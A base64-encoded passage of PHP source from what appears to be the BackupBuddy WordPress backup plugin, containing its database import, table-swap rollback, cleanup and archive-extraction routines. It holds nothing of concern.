9yKCAnRXJyb3IgIzk1MzgzNDogUHJvYmxlbSBpbXBvcnRpbmcgZGF0YWJhc2UuIFNlZSBzdGF0dXMgbG9nIGFib3ZlIGZvciBkZXRhaWxzLicgKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfSBlbHNlaWYgKCB0cnVlID09PSAkaW1wb3J0X3Jlc3VsdCApIHsgLy8gU3VjY2VzcyBvbiB0aGlzIFNRTCBmaWxlLgoJCQkJaWYgKCAnJyAhPSAkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ2ltcG9ydFJlc3VtZVBvaW50J10gKSB7IC8vIENodW5raW5nIHdhcyB1c2VkLiBHaXZlIHNvbWUgc3RhdHMuCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQ2h1bmtpbmcgaW1wb3J0ZWQgYCcgLiAkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ2ltcG9ydGVkUmVzdW1lUm93cyddIC4gJ2Agcm93cyBpbiBgJyAuIHJvdW5kKCAkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ2ltcG9ydGVkUmVzdW1lVGltZSddLCAzICkgLiAnYCBzZWNvbmRzLiBgJyAuICR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnaW1wb3J0ZWRSZXN1bWVGYWlscyddIC4gJ2AgU1FMIHF1ZXJ5IGZhaWx1cmVzLicgKTsKCQkJCX0KCgkJCQlhcnJheV9zaGlmdCggJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydpbXBvcnRSZXN1bWVGaWxlcyddICk7IC8vIEZpbmlzaGVkIHRoaXMgdGFibGUgc28gdGFrZSBpdCBvZmYgdGhlIHN0YWNrLgoKCQkJCS8vIFJlc2V0IGNodW5raW5nIGRhdGEgc2luY2UgdGhpcyBmaWxlIGlzIGZpbmlzaGVkLgoJCQkJJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydpbXBvcnRSZXN1bWVQb2ludCddID0gJyc7CgkJCQkkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ2ltcG9ydGVkUmVzdW1lUm93cyddID0gMDsKCQkJCSR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnaW1wb3J0ZWRSZXN1bWVGYWlscyddID0gMDsKCQkJCSR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnaW1wb3J0ZWRSZXN1bWVUaW1lJ10gPSAwOwoKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0ZpbmlzaGVkIGltcG9ydGluZyBTUUwgZmlsZSBgJyAuIGJhc2VuYW1lKCAkc3FsX2ZpbGUgKSAuICdgLiBEYXRhYmFzZSBmaWxlcyByZW1haW5pbmc6ICcgLiBjb3VudCggJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydpbXBvcnRSZXN1bWVGaWxlcyddICkgKTsKCQkJCS8vIE5PVEU6IEFzIG9mIHY3IG5vIGxvbmdlciBjaHVua2luZyBwZXIgU1FMIGZpbGUgdG8gbWFrZSBiZXR0ZXIgdXNlIG9mIHRpbWUgZm9yIG5ldyBMaXZlIHNtYWxsIHNxbCBmaWxlcy4gV0FTOiByZXR1cm4gYXJyYXkoKTsgLy8gQW55IGFycmF5IHJldHVybmVkIGhlcmUgcmVzdWx0cyBpbiByZXN1bWluZyB1c2luZyB0aGUgbGF0ZXN0IHN0YXRlIGRhdGEuIHNxbEZpbGVzUmVtYW5pbmcgaXMgd2hhdCB3ZSBjYXJlIGFib3V0IGtlZXBpbmcgdXAgdG8gZGF0ZSBvbiB3aGljaCBmaWxlIHRvIGRvLgoJCQl9IGVsc2UgeyAvLyBSZXN1bWVkIGNodW5raW5nIG5lZWRlZC4KCQkJCWlmICggISBpc19hcnJheSggJGltcG9ydF9yZXN1bHQgKSApIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRXJyb3IgIzkzNDg0OiBFeHBlY3RlZCBhcnJheS4gR290OiBgJyAuICRpbXBvcnRfcmVzdWx0IC4gJ2AuJyApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0gZWxzZSB7CgkJCQkJJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydpbXBvcnRSZXN1bWVQb2ludCddID0gJGltcG9ydF9yZXN1bHRbMF07CgkJCQkJJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydpbXBvcnRlZFJlc3VtZVJvd3MnXSArPSAkaW1wb3J0X3Jlc3VsdFsxXTsKCQkJCQkkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ2ltcG9ydGVkUmVzdW1lRmFpbHMnXSArPSAkaW1wb3J0X3Jlc3VsdFsyXTsKCQkJCQkkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ2ltcG9ydGVkUmVzdW1lVGltZSddICs9ICRpbXBvcnRfcmVzdWx0WzNdOwoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0RhdGFiYXNlIGltcG9ydCBub3QgeWV0IGZpbmlzaGVkLiBSZXN1bWUgbmV4dCBhdCBgJyAuICR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnaW1wb3J0UmVzdW1lUG9pbnQnXSAuICdgLicgKTsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdTbyBmYXIgaW1wb3J0ZWQgYCcgLiAkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ2ltcG9ydGVkUmVzdW1lUm93cyddIC4gJ2Agcm93cyBpbiBgJyAuIHJvdW5kKCAkdGhpcy0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ2ltcG9ydGVkUmVzdW1lVGltZSddLCAzICkgLiAnYCBzZWNvbmRzLiBgJyAuICR0aGlzLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnaW1wb3J0ZWRSZXN1bWVGYWlscyddIC4gJ2AgU1FMIHF1ZXJ5IGZhaWx1cmVzLicgKTsKCQkJCQlyZXR1cm4gJGltcG9ydF9yZXN1bHQ7CgkJCQl9CgkJCX0KCQl9IC8vIGVuZCBmb3JlYWNoLgoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEYXRhYmFzZSByZXN0b3JlIGZpbmlzaGVkIGltcG9ydGluZyBhbGwgU1FMIGZpbGVzLicgKTsKCQlyZXR1cm4gdHJ1ZTsKCX0gLy8gRW5kIHJlc3RvcmVEYXRhYmFzZSgpLgoKCgoJLyoqCgkgKiBDb3BpZXMgQlVCIHNldHRpbmdzIGZyb20gb2xkIG9wdGlvbnMgdGFibGUgb3ZlciB0byBuZXcgb3B0aW9ucyB0YWJsZQoJICogVGhpcyBmdW5jdGlvbiBpcyBub3QgY3VycmVudGx5IGNhbGxlZCBpZiB0aGUgb3B0aW9ucyB0YWJsZSB3YXMgbm90IGluY2x1ZGVkIGluIHRoZSBiYWNrdXAKCSAqIE5PVEU6IEFsc28gaGFuZGxlcyBzd2FwcGluZyBpVGhlbWVzIExpY2Vuc2luZyAmIFN5bmMgYXV0aGVudGljYXRpb24uCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBzd2FwRGF0YWJhc2VCQlNldHRpbmdzKCkgewoJCSR0aGlzLT5fYmVmb3JlKCBfX0ZVTkNUSU9OX18gKTsKCgkJaWYgKCAnZGVwbG95JyAhPSAkdGhpcy0+X3N0YXRlWyd0eXBlJ10gKSB7CgkJCXJldHVybiAkdGhpcy0+X2Vycm9yKCAnVGhpcyByZXN0b3JlIHR5cGUgYCcgLiAkdGhpcy0+X3N0YXRlWyd0eXBlJ10gLiAnYCBkb2VzIG5vdCBzdXBwb3J0IHRoaXMgb3BlcmF0aW9uLicgKTsKCQl9CgoJCS8vIENhbGN1bGF0ZSB0ZW1wb3JhcnkgdGFibGUgcHJlZml4ZXMuCgkJJG5ld1ByZWZpeCA9ICdiYm5ldy0nIC4gc3Vic3RyKCAkdGhpcy0+X3N0YXRlWydzZXJpYWwnXSwgMCwgNCApIC4gJ18nIC4gJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydwcmVmaXgnXTsgLy8gSW5jb21pbmcgc2l0ZS4KCQkkb2xkUHJlZml4ID0gJHRoaXMtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydwcmVmaXgnXTsgLy8gQ3VycmVudCBsaXZlIHNpdGUgcHJlZml4LgoJCWdsb2JhbCAkd3BkYjsKCgkJJG9wdGlvbnNfdG9fa2VlcCA9IGFycmF5KAoJCQkncGJfYmFja3VwYnVkZHknLAoJCQknaXRoZW1lcy11cGRhdGVyLWtleXMnLAoJCQknaXRoZW1lcy1zeW5jLWNhY2hlJywKCQkJJ2l0aGVtZXMtc3luYy1hZG1pbl9tZW51JywKCQkJJ2l0aGVtZXMtc3luYy1hdXRoZW50aWNhdGVkJywKCQkJJ2l0c2VjX2hpZGVfYmFja2VuZCcsIC8vIFByZXZlbnRzIGN1c3RvbSBsb2dpbiBVUkwgZnJvbSB0cmFuc2ZlcnJpbmcuCgkJKTsKCgkJZm9yZWFjaCAoICRvcHRpb25zX3RvX2tlZXAgYXMgJG9wdGlvbiApIHsKCQkJLy8gR2V0IGN1cnJlbnQgaVRoZW1lcyBMaWNlbnNpbmcgZm9yIGN1cnJlbnQgc2l0ZSAoaWYgYW55KS4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQ29weWluZyBkYXRhIGZyb20gb3B0aW9ucyB0YWJsZSBmb3Igb3B0aW9uIGAnIC4gJG9wdGlvbiAuICdgLCBmcm9tIHRhYmxlIHByZWZpeGVkIHdpdGggYCcgLiAkb2xkUHJlZml4IC4gJ2AgdG8gYCcgLiAkbmV3UHJlZml4IC4gJ2AgdG8gcmV0YWluIGFuZCBub3QgZ2V0IG92ZXJ3cml0dGVuIGJ5IGluY29taW5nIHNpdGUgZGF0YS4nICk7CgkJCSRzcWwgPSAiU0VMRUNUIG9wdGlvbl92YWx1ZSBGUk9NIGB7JG9sZFByZWZpeH1vcHRpb25zYCBXSEVSRSBvcHRpb25fbmFtZT0neyRvcHRpb259JyBMSU1JVCAxOyI7CgkJCSRyZXN1bHRzID0gJHdwZGItPmdldF9yZXN1bHRzKCAkc3FsLCBBUlJBWV9BICk7CgkJCWlmICggY291bnQoICRyZXN1bHRzICkgPiAwICkgewoJCQkJLy8gRGVsZXRlIGFueSBleGlzdGluZyBzZXR0aW5ncy4KCQkJCSR3cGRiLT5xdWVyeSggIkRFTEVURSBGUk9NIGB7JG5ld1ByZWZpeH1vcHRpb25zYCBXSEVSRSBvcHRpb25fbmFtZT0neyRvcHRpb259JyBMSU1JVCAxOyIgKTsKCQkJCS8vIE92ZXJ3cml0ZSBpbmNvbWluZyBzaXRlIEJhY2t1cEJ1ZGR5IHNldHRpbmdzIGluIGl0cyB0ZW1wIHRhYmxlLgoJCQkJaWYgKCBmYWxzZSA9PT0gJHdwZGItPnF1ZXJ5KCAiSU5TRVJUIElOVE8gYHskbmV3UHJlZml4fW9wdGlvbnNgICggb3B0aW9uX25hbWUsIG9wdGlvbl92YWx1ZSApIFZBTFVFUyggJyIgLiAkb3B0aW9uIC4gIicsICciIC4gYmFja3VwYnVkZHlfY29yZTo6ZGJFc2NhcGUoICRyZXN1bHRzWzBdWydvcHRpb25fdmFsdWUnXSApIC4gIicgKSIgKSApIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRXJyb3IgIzIzNzkzMzI6IFVuYWJsZSB0byBjb3B5IG92ZXIgZGF0YSBmcm9tIGxpdmUgc2l0ZSB0byBpbmNvbWluZyBkYXRhYmFzZSBpbiB0ZW1wIHRhYmxlLiBEZXRhaWxzOiBgJyAuICR3cGRiLT5sYXN0X2Vycm9yIC4gJ2AuIE9wdGlvbiBuYW1lOiBgJyAuICRvcHRpb24gLiAnYC4nICk7CgkJCQl9IGVsc2UgewoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ01haW50YWluZWQgZGF0YSBieSBjb3B5aW5nIGl0IG92ZXIgaW5jb21pbmcgZGF0YWJhc2UuIE9wdGlvbnMgbmFtZTogYCcgLiAkb3B0aW9uIC4gJ2AuJyApOwoJCQkJfQoJCQl9IGVsc2UgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnT3B0aW9uIHdpdGggbmFtZSBgJyAuICRvcHRpb24gLiAnYCBub3QgZm91bmQuIFNraXBwaW5nLicgKTsKCQkJfQoJCX0KCgkJcmV0dXJuIHRydWU7CgoJfSAvLyBFbmQgc3dhcERhdGFiYXNlQkJTZXR0aW5ncygpLgoKCgkvKiBzd2FwRGF0YWJhc2VzKCkKCSAqCgkgKiBST0xMQkFDSwoJICogU3dhcCBvdXQgdGhlIHJlY2VudGx5IGltcG9ydGVkIGRhdGFiYXNlIHRhYmxlcyB3aXRoIHRlbXAgcHJlZml4IGZvciB0aGUgbGl2ZSBkYXRhYmFzZS4KCSAqIFNldHMgbWFpbnRlbmFuY2UgbW9kZSBkdXJpbmcgdGhlIHN3YXAsIGFsdGhvdWdoIGl0IHNob3VsZCBiZSB2ZXJ5IGJyaWVmLgoJICoKCSAqLwoJcHVibGljIGZ1bmN0aW9uIHN3YXBEYXRhYmFzZXMoKSB7CgkJJHRoaXMtPl9iZWZvcmUoIF9fRlVOQ1RJT05fXyApOwoKCQlpZiAoICggJ3JvbGxiYWNrJyAhPSAkdGhpcy0+X3N0YXRlWyd0eXBlJ10gKSAmJiAoICdkZXBsb3knICE9ICR0aGlzLT5fc3RhdGVbJ3R5cGUnXSApICkgeyAvLyBSZXN0b3JlIG1vZGUgdXNlZCBmb3IgcmVzdG9yeWluZyBkdXJpbmcgZGVwbG95bWVudC4KCQkJJHRoaXMtPl9lcnJvciggJ1RoaXMgcmVzdG9yZSB0eXBlIGAnIC4gJHRoaXMtPl9zdGF0ZVsndHlwZSddIC4gJ2AgZG9lcyBub3Qgc3VwcG9ydCB0aGlzIG9wZXJhdGlvbi4nICk7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCS8vIFR1cm4gb24gbWFpbnRlbmFuY2UgbW9kZS4KCQlpZiAoIGZhbHNlID09PSAkdGhpcy0+bWFpbnRlbmFuY2VPbigpICkgewoJCQkkdGhpcy0+X2Vycm9yKCAnQ291bGQgbm90IGVuYWJsZSBtYWludGVuYW5jZSBtb2RlLicgKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJZ2xvYmFsICR3cGRiOwoKCQkvLyBDYWxjdWxhdGUgdGVtcG9yYXJ5IHRhYmxlIHByZWZpeGVzLgoJCSRuZXdQcmVmaXggPSAnYmJuZXctJyAuIHN1YnN0ciggJHRoaXMtPl9zdGF0ZVsnc2VyaWFsJ10sIDAsIDQgKSAuICdfJzsgLy8gVGVtcCBwcmVmaXggZm9yIGhvbGRpbmcgdGhlIE5FV2x5IGltcG9ydGVkIGRhdGEuCgkJJG9sZFByZWZpeCA9ICdiYm9sZC0nIC4gc3Vic3RyKCAkdGhpcy0+X3N0YXRlWydzZXJpYWwnXSwgMCwgNCApIC4gJ18nOyAvLyBUZW1wIHByZWZpeCBmb3IgaG9sZGluZyB0aGUgT0xEIChjdXJyZW50bHkgbGl2ZSkgZGF0YS4KCgkJLy8gR2V0IG5ld2x5IGltcG9ydGVkIHRhYmxlcyB3aXRoIHRoZSB0ZW1wIHByZWZpeC4KCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdDaGVja2luZyBmb3IgbmV3bHkgaW1wb3J0ZWQgcm9sbGJhY2sgdGFibGVzIHdpdGggdGVtcCBwcmVmaXggYCcgLiAkbmV3UHJlZml4IC4gJ2AuJyApOwoJCSRzcWwgPSAiU0VMRUNUIHRhYmxlX25hbWUgQVMgYHRhYmxlX25hbWVgIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9uYW1lIExJS0UgJyIgLiBzdHJfcmVwbGFjZSggJ18nLCAnXF8nLCAkbmV3UHJlZml4ICkgLiAiJScgQU5EIHRhYmxlX3NjaGVtYSA9IERBVEFCQVNFKCkiOwoJCSRyZXN1bHRzID0gJHdwZGItPmdldF9yZXN1bHRzKCAkc3FsLCBBUlJBWV9BICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRm91bmQgJyAuIGNvdW50KCAkcmVzdWx0cyApIC4gJyBtYXRjaGluZyB0YWJsZXMuJyApOwoJCWlmICggMCA9PSBjb3VudCggJHJlc3VsdHMgKSApIHsKCQkJJHRoaXMtPl9lcnJvciggJ0Vycm9yIGdldHRpbmcgdGFibGVzIG9yIG5vbmUgZm91bmQuIFNRTCBRdWVyeTogJyAuIGh0bWxlbnRpdGllcyggJHNxbCApICk7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCS8vIFJlbmFtZSBuZXdseSBpbXBvcnRlZCB0YWJsZXMgd2l0aCB0ZW1wIHByZWZpeCwgcmVuYW1pbmcgdGhlIGV4aXN0aW5nIGxpdmUgdGFibGUgZmlyc3QuCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUmVuYW1lIGFsbCBleGlzdGluZyB0YWJsZXMgd2l0aCB0aGlzIHRlbXAgcHJlZml4IHRvIHByZWZpeCBgJyAuICR3cGRiLT5wcmVmaXggLiAnYC4nICk7CgkJZm9yZWFjaCAoICRyZXN1bHRzIGFzICRyZXN1bHQgKSB7CgoJCQkkbmV3VGFibGVOYW1lID0gc3RyX3JlcGxhY2UoICRuZXdQcmVmaXgsICcnLCAkd3BkYi0+cHJlZml4IC4gJHJlc3VsdFsndGFibGVfbmFtZSddICk7IC8vIHRoZSB0YXJnZXQgbmV3IHRhYmxlIG5hbWUgd2UgYXJlIGltcG9ydGluZy4KCQkJJG9sZFRhYmxlTmFtZSA9ICRvbGRQcmVmaXggLiAkbmV3VGFibGVOYW1lOyAvLyB0aGUgdGFyZ2V0IG5hbWUgZm9yIHRoZSBvbGQgdGFibGUgd2hlcmUgd2UgaG9sZCBpdCBpbiBjYXNlIGl0IG5lZWRzIHVuZG9pbmcuCgoJCQkvLyBDaGVjayBpZiBleGlzdGluZyBzaXRlIGFscmVhZHkgaGFkIHRoaXMgdGFibGUuIElmIHNvIHRoZW4gd2Ugd2lsbCBuZWVkIHRvIHJlbmFtZSBpdCB0byBhIHRlbXAgdGFibGUgbmFtZSB0byBhbGxvdyBmb3IgdW5kb2luZy4KCQkJJHNxbCA9ICJTSE9XIFRBQkxFUyBMSUtFICciIC4gYmFja3VwYnVkZHlfY29yZTo6ZGJFc2NhcGUoICRuZXdUYWJsZU5hbWUgKSAuICInOyI7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1NRTDogYCcgLiAkc3FsIC4gJ2AuJyApOwoJCQkkcmVzdWx0cyA9ICR3cGRiLT5nZXRfcmVzdWx0cyggJHNxbCwgQVJSQVlfQSApOwoJCQlpZiAoIGNvdW50KCAkcmVzdWx0cyApID4gMCApIHsgLy8gVGhpcyB0YWJsZSBleGlzdGVkIGluIHRoZSBleGlzdGluZyBzaXRlIHNvIGl0IG5lZWRzIHRvIGJlIHJlbmFtZWQuCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdSZW5hbWluZyB0YWJsZSBgJyAuICRuZXdUYWJsZU5hbWUgLiAnYCAoYWxyZWFkeSBleGlzdHMgaW4gdGhpcyBzaXRlKSB0byBgJyAuICRvbGRUYWJsZU5hbWUgLiAnYC4nICk7CgkJCQlpZiAoIGZhbHNlID09PSAkd3BkYi0+cXVlcnkoICdSRU5BTUUgVEFCTEUgYCcgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggJG5ld1RhYmxlTmFtZSApIC4gJ2AgVE8gYCcgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggJG9sZFRhYmxlTmFtZSApIC4gJ2A7JyApICkgewoJCQkJCSR0aGlzLT5fZXJyb3IoICdFcnJvciAjODQ0Mzg5YTogVW5hYmxlIHRvIHJlbmFtZSB0YWJsZSBgJyAuICRuZXdUYWJsZU5hbWUgLiAnYCB0byBgJyAuICRvbGRUYWJsZU5hbWUgLiAnYC4gRGV0YWlsczogYCcgLiAkd3BkYi0+bGFzdF9lcnJvciAuICdgLicgKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCX0gZWxzZSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdUYWJsZSBgJyAuICRuZXdUYWJsZU5hbWUgLiAnYCBkaWQgbm90IGFscmVhZHkgZXhpc3Qgc28gTk9UIHJlbmFtaW5nIHRvIGAnIC4gJG9sZFRhYmxlTmFtZSAuICdgLicgKTsKCQkJfQoKCQkJLy8gUmVuYW1lIGltcG9ydGVkIHRhYmxlIHRvIGxpdmUgcHJlZml4LgoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdSZW5hbWluZyBpbmNvbWluZyB0YWJsZSBgJyAuICRyZXN1bHRbJ3RhYmxlX25hbWUnXSAuICdgIHRvIGAnIC4gJG5ld1RhYmxlTmFtZSAuICdgLicgKTsKCQkJaWYgKCBmYWxzZSA9PT0gJHdwZGItPnF1ZXJ5KCAnUkVOQU1FIFRBQkxFIGAnIC4gYmFja3VwYnVkZHlfY29yZTo6ZGJFc2NhcGUoICRyZXN1bHRbJ3RhYmxlX25hbWUnXSApIC4gJ2AgVE8gYCcgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggJG5ld1RhYmxlTmFtZSApIC4gJ2A7JyApICkgewoJCQkJJHRoaXMtPl9lcnJvciggJ0Vycm9yICM4NDQzODliOiBVbmFibGUgdG8gcmVuYW1lIHRhYmxlIGAnIC4gJHJlc3VsdFsndGFibGVfbmFtZSddIC4gJ2AgdG8gYCcgLiAkbmV3VGFibGVOYW1lIC4gJ2AuIERldGFpbHM6IGAnIC4gJHdwZGItPmxhc3RfZXJyb3IgLiAnYC4nICk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9IC8vIGVuZCBmb3JlYWNoLgoKCQkvLyBUdXJuIG9mZiBtYWludGVuYW5jZSBtb2RlLgoJCSR0aGlzLT5tYWludGVuYW5jZU9mZigpOwoKCQlyZXR1cm4gdHJ1ZTsKCX0gLy8gRW5kCgoKCgkvKiBmaW5hbGl6ZVJvbGxiYWNrKCkKCSAqCgkgKiBST0xMQkFDSwoJICogRmluYWxpemUgdGhlIHJvbGxiYWNrLCBkZWxldGluZyBvcmlnaW5hbCB0YWJsZXMgJiBjbGVhbmluZyB1cCB0ZW1wIGZpbGVzLgoJICoKCSAqIEByZXR1cm4gdHJ1ZQoJICovCglwdWJsaWMgZnVuY3Rpb24gZmluYWxpemVSb2xsYmFjaygpIHsKCQkkdGhpcy0+X2JlZm9yZSggX19GVU5DVElPTl9fICk7CgoJCWdsb2JhbCAkd3BkYjsKCQkkc3FsID0gIlNFTEVDVCB0YWJsZV9uYW1lIEFTIGB0YWJsZV9uYW1lYCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgV0hFUkUgdGFibGVfbmFtZSBMSUtFICdiYm9sZC0iIC4gc3Vic3RyKCAkdGhpcy0+X3N0YXRlWydzZXJpYWwnXSwgMCwgNCApIC4gIlxfJScgQU5EIHRhYmxlX3NjaGVtYSA9IERBVEFCQVNFKCkiOwoJCS8vZWNobyAkc3FsOwoJCSRyZXN1bHRzID0gJHdwZGItPmdldF9yZXN1bHRzKCAkc3FsLCBBUlJBWV9BICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRm91bmQgJyAuIGNvdW50KCAkcmVzdWx0cyApIC4gJyB0YWJsZXMgdG8gZHJvcC4nICk7CgkJZm9yZWFjaCAoICRyZXN1bHRzIGFzICRyZXN1bHQgKSB7CgkJCWlmICggZmFsc2UgPT09ICR3cGRiLT5xdWVyeSggJ0RST1AgVEFCTEUgYCcgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggJHJlc3VsdFsndGFibGVfbmFtZSddICkgLiAnYCcgKSApIHsKCQkJCSR0aGlzLT5fZXJyb3IoICdVbmFibGUgdG8gZGVsZXRlIG9sZCB0YWJsZSBgJyAuICRyZXN1bHRbJ3RhYmxlX25hbWUnXSAuICdgLicgKTsKCQkJfQoJCX0KCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRGVsZXRpbmcgdW5kbyBmaWxlLicgKTsKCQlAdW5saW5rKCBBQlNQQVRIIC4gJHRoaXMtPl9zdGF0ZVsndW5kb0ZpbGUnXSApOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0RlbGV0aW5nIHRlbXAgZmlsZXMuJyApOwoJCXBiX2JhY2t1cGJ1ZGR5OjokZmlsZXN5c3RlbS0+dW5saW5rX3JlY3Vyc2l2ZSggJHRoaXMtPl9zdGF0ZVsndGVtcFBhdGgnXSApOwoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGaW5pc2hlZCBmaW5hbGl6ZSBmdW5jdGlvbi4nICk7CgkJcmV0dXJuIHRydWU7Cgl9IC8vIGVuZCBmaW5hbGl6ZVJvbGxiYWNrKCkuCgoKCglwdWJsaWMgZnVuY3Rpb24gcmVzdG9yZUZpbGVzKCkgewoJCSR0aGlzLT5fYmVmb3JlKCBfX0ZVTkNUSU9OX18gKTsKCgkJLy8gWmlwICYgVW56aXAgbGlicmFyeSBzZXR1cC4KCQlyZXF1aXJlX29uY2UoIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy9saWIvemlwYnVkZHkvemlwYnVkZHkucGhwJyApOwoJCXBiX2JhY2t1cGJ1ZGR5OjokY2xhc3Nlc1snemlwYnVkZHknXSA9IG5ldyBwbHVnaW5idWRkeV96aXBidWRkeSggJHRoaXMtPl9zdGF0ZVsncmVzdG9yZUZpbGVSb290J10sIGFycmF5KCksICd1bnppcCcgKTsKCgkJaWYgKCAhIGZpbGVfZXhpc3RzKCAkdGhpcy0+X3N0YXRlWydhcmNoaXZlJ10gKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ1VuYWJsZSB0byBmaW5kIHNwZWNpZmllZCBiYWNrdXAgYXJjaGl2ZSBgJyAuICR0aGlzLT5fc3RhdGVbJ2FyY2hpdmUnXSAuICdgJyApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICdVbnppcHBpbmcgYXJjaGl2ZSBgJyAuICR0aGlzLT5fc3RhdGVbJ2FyY2hpdmUnXSAuICdgIGludG8gYCcgLiAkdGhpcy0+X3N0YXRlWydyZXN0b3JlRmlsZVJvb3QnXSAuICdgJyApOwoKCQkvLyBTZXQgY29tcGF0aWJpbGl0eSBtb2RlIGlmIGRlZmluZWQgaW4gYWR2YW5jZWQgb3B0aW9ucy4KCQlpZiAoICdhbGwnID09ICR0aGlzLT5fc3RhdGVbJ3ppcE1ldGhvZFN0cmF0ZWd5J10gKSB7CgkJCSRjb21wYXRpYmlsaXR5TW9kZSA9IGZhbHNlOwoJCX0gZWxzZSB7CgkJCSRjb21wYXRpYmlsaXR5TW9kZSA9ICR0aGlzLT5fc3RhdGVbJ3ppcE1ldGhvZFN0cmF0ZWd5J107CgkJfQoKCQkvLyBFeHRyYWN0IHppcCBmaWxlICYgdmVyaWZ5IGl0IHdvcmtlZC4KCQkkcmVzdWx0ID0gcGJfYmFja3VwYnVkZHk6OiRjbGFzc2VzWyd6aXBidWRkeSddLT51bnppcCggJHRoaXMtPl9zdGF0ZVsnYXJjaGl2ZSddLCAkdGhpcy0+X3N0YXRlWydyZXN0b3JlRmlsZVJvb3QnXSwgJGNvbXBhdGliaWxpdHlNb2RlICk7CgkJaWYgKCB0cnVlICE9PSAkcmVzdWx0ICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRmFpbHVyZSBleHRyYWN0aW5nIGJhY2t1cCBhcmNoaXZlLicgKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0gZWxzZSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1N1Y2Nlc3MgZXh0cmFjdGluZyBiYWNrdXAgYXJjaGl2ZS4nICk7CgkJCXJldHVybiB0cnVlOwoJCX0KCgl9IC8vIEVuZCByZXN0b3JlRmlsZXMoKS4KCgoKCS8qIF9wcmlvclJvbGxiYWNrQ2xlYW51cCgpCgkgKgoJICogU